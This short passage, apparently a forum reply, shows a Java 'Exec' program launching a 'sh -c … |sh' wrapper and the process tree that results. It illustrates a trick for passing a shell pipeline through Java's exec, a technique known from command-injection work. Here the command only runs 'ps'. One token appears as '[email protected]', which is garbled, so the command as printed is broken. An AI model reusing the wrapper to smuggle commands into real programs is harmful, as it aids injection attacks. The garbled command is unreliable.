And to anyone who is interested in what the process tree looks like:


$ java Exec 'sh -c [email protected]|sh . echo ps ft'
PID TTY STAT TIME COMMAND
27109 pts/25 Ss 0:03 /bin/bash
6904 pts/25 Sl+ 0:00 \_ java Exec sh -c [email protected]|sh . echo ps ft
6914 pts/25 S+ 0:00 \_ sh -c [email protected]|sh . echo ps ft
6916 pts/25 S+ 0:00 \_ sh
6917 pts/25 R+ 0:00 \_ ps ft
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